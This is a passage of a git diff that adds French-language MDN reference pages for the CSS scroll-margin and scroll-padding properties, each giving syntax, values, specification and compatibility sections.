index 0000000000..557fc01916
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-left/index.html
@@ -0,0 +1,68 @@
+---
+title: scroll-margin-left
+slug: Web/CSS/scroll-margin-left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-margin-left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-left</code></strong> définit la marge de défilement de l'élément sur le côté gauche. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-left.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-left: 10px;
+scroll-margin-left: 1em;
+
+/* Valeurs globales */
+scroll-margin-left: inherit;
+scroll-margin-left: initial;
+scroll-margin-left: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-left", "scroll-margin-left")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-left")}}</p>
diff --git a/files/fr/web/css/scroll-margin-right/index.html b/files/fr/web/css/scroll-margin-right/index.html
new file mode 100644
index 0000000000..56e7a9be1a
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-right/index.html
@@ -0,0 +1,68 @@
+---
+title: scroll-margin-right
+slug: Web/CSS/scroll-margin-right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-margin-right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-right</code></strong> définit la marge de défilement de l'élément sur le côté droit. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-right.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-right: 10px;
+scroll-margin-right: 1em;
+
+/* Valeurs globales */
+scroll-margin-right: inherit;
+scroll-margin-right: initial;
+scroll-margin-right: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-right", "scroll-margin-right")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-right")}}</p>
diff --git a/files/fr/web/css/scroll-margin-top/index.html b/files/fr/web/css/scroll-margin-top/index.html
new file mode 100644
index 0000000000..5e435abef0
--- /dev/null
+++ b/files/fr/web/css/scroll-margin-top/index.html
@@ -0,0 +1,67 @@
+---
+title: scroll-margin-top
+slug: Web/CSS/scroll-margin-top
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-margin-top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-margin-top</code></strong> définit la marge de défilement de l'élément sur le côté haut. La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin-top.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-margin-top: 10px;
+scroll-margin-top: 1em;
+
+/* Valeurs globales */
+scroll-margin-top: inherit;
+scroll-margin-top: initial;
+scroll-margin-top: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant du conteneur de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin-top", "scroll-margin-top")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin-top")}}</p>
diff --git a/files/fr/web/css/scroll-margin/index.html b/files/fr/web/css/scroll-margin/index.html
new file mode 100644
index 0000000000..007adfd400
--- /dev/null
+++ b/files/fr/web/css/scroll-margin/index.html
@@ -0,0 +1,70 @@
+---
+title: scroll-margin
+slug: Web/CSS/scroll-margin
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-margin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code>scroll-margin</code> est une propriété raccourcie qui permet de définir l'ensemble des propriétés <code>scroll-margin-top</code>, <code>scroll-margin-left</code>, <code>scroll-margin-bottom</code> et <code>scroll-margin-right</code> (de la même façon que la propriété <code>margin</code> définit les différents côtés des marges).</p>
+<div>{{EmbedInteractiveExample("pages/css/scroll-margin.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les valeurs de <code>scroll-margin</code> correspondent aux décalages entre la zone qui est utilisée pour définir les limites du défilement de la boîtes et la zone de défilement normale (<em>snapport</em>). La zone de défilement est déterminée en prenant la boîte de bordure modifiée, en prenant le rectangle englobant puis en ajoutant les décalages indiqués.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+scroll-margin: 10px;
+scroll-margin: 1em .5em 1em 1em;
+
+/* Valeurs globales */
+scroll-margin: inherit;
+scroll-margin: initial;
+scroll-margin: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un décalage par rapport au côté correspondant pour le conteneur de défilement. Voir {{cssxref("&lt;length&gt;")}} pour les valeurs possibles.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-margin", "scroll-margin")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-margin")}}</p>
diff --git a/files/fr/web/css/scroll-padding-block-end/index.html b/files/fr/web/css/scroll-padding-block-end/index.html
new file mode 100644
index 0000000000..26d40884ff
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-block-end/index.html
@@ -0,0 +1,78 @@
+---
+title: scroll-padding-block-end
+slug: Web/CSS/scroll-padding-block-end
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-padding-block-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-block-end</strong></code> est une propriété qui permet de définir le remplissage, à la fin de l'axe de bloc, entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-block-end.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-block-end: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-block-end: 10px;
+scroll-padding-block-end: 1em;
+scroll-padding-block-end: 10%;
+
+/* Valeurs globales */
+scroll-padding-block-end: inherit;
+scroll-padding-block-end: initial;
+scroll-padding-block-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-block-end", "scroll-padding-block-end")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-block-end")}}</p>
diff --git a/files/fr/web/css/scroll-padding-block-start/index.html b/files/fr/web/css/scroll-padding-block-start/index.html
new file mode 100644
index 0000000000..e52e1cf2af
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-block-start/index.html
@@ -0,0 +1,78 @@
+---
+title: scroll-padding-block-start
+slug: Web/CSS/scroll-padding-block-start
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-padding-block-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-block-start</strong></code> est une propriété qui permet de définir le remplissage, au début de l'axe de bloc, entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-block-start.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-block-start: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-block-start: 10px;
+scroll-padding-block-start: 1em;
+scroll-padding-block-start: 10%;
+
+/* Valeurs globales */
+scroll-padding-block-start: inherit;
+scroll-padding-block-start: initial;
+scroll-padding-block-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-block-start", "scroll-padding-block-start")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-block-start")}}</p>
diff --git a/files/fr/web/css/scroll-padding-block/index.html b/files/fr/web/css/scroll-padding-block/index.html
new file mode 100644
index 0000000000..0537332219
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-block/index.html
@@ -0,0 +1,77 @@
+---
+title: scroll-padding-block
+slug: Web/CSS/scroll-padding-block
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-padding-block
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-block</strong></code> est une propriété raccourcie qui permet de définir le remplissage, sur l'axe de bloc, entre l'élément et la zone de défilement. Autrement dit, elle permet de définir <code>scroll-padding-block-end</code> et <code>scroll-padding-block-start</code>.</p>
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-block.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-block: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-block: 10px;
+scroll-padding-block: 1em .5em;
+scroll-padding-block: 10%;
+
+/* Valeurs globales */
+scroll-padding-block: inherit;
+scroll-padding-block: initial;
+scroll-padding-block: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-block", "scroll-padding-block")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-block")}}</p>
diff --git a/files/fr/web/css/scroll-padding-bottom/index.html b/files/fr/web/css/scroll-padding-bottom/index.html
new file mode 100644
index 0000000000..038a5ead65
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-bottom/index.html
@@ -0,0 +1,77 @@
+---
+title: scroll-padding-bottom
+slug: Web/CSS/scroll-padding-bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-padding-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-bottom</strong></code> est une propriété qui permet de définir le remplissage sur le côté bas entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-bottom.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-bottom: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-bottom: 10px;
+scroll-padding-bottom: 1em;
+scroll-padding-bottom: 10%;
+
+/* Valeurs globales */
+scroll-padding-bottom: inherit;
+scroll-padding-bottom: initial;
+scroll-padding-bottom: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-bottom", "scroll-padding-bottom")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-bottom")}}</p>
diff --git a/files/fr/web/css/scroll-padding-inline-end/index.html b/files/fr/web/css/scroll-padding-inline-end/index.html
new file mode 100644
index 0000000000..610cf71fd0
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-inline-end/index.html
@@ -0,0 +1,78 @@
+---
+title: scroll-padding-inline-end
+slug: Web/CSS/scroll-padding-inline-end
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-padding-inline-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-inline-end</strong></code> est une propriété qui permet de définir le remplissage, à la fin de l'axe en ligne, entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-inline-end.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-inline-end: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-inline-end: 10px;
+scroll-padding-inline-end: 1em;
+scroll-padding-inline-end: 10%;
+
+/* Valeurs globales */
+scroll-padding-inline-end: inherit;
+scroll-padding-inline-end: initial;
+scroll-padding-inline-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-inline-end", "scroll-padding-inline-end")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-inline-end")}}</p>
diff --git a/files/fr/web/css/scroll-padding-inline-start/index.html b/files/fr/web/css/scroll-padding-inline-start/index.html
new file mode 100644
index 0000000000..4c13252345
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-inline-start/index.html
@@ -0,0 +1,78 @@
+---
+title: scroll-padding-inline-start
+slug: Web/CSS/scroll-padding-inline-start
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/scroll-padding-inline-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-inline-start</strong></code> est une propriété qui permet de définir le remplissage, au début de l'axe en ligne, entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-inline-start.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-inline-start: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-inline-start: 10px;
+scroll-padding-inline-start: 1em;
+scroll-padding-inline-start: 10%;
+
+/* Valeurs globales */
+scroll-padding-inline-start: inherit;
+scroll-padding-inline-start: initial;
+scroll-padding-inline-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
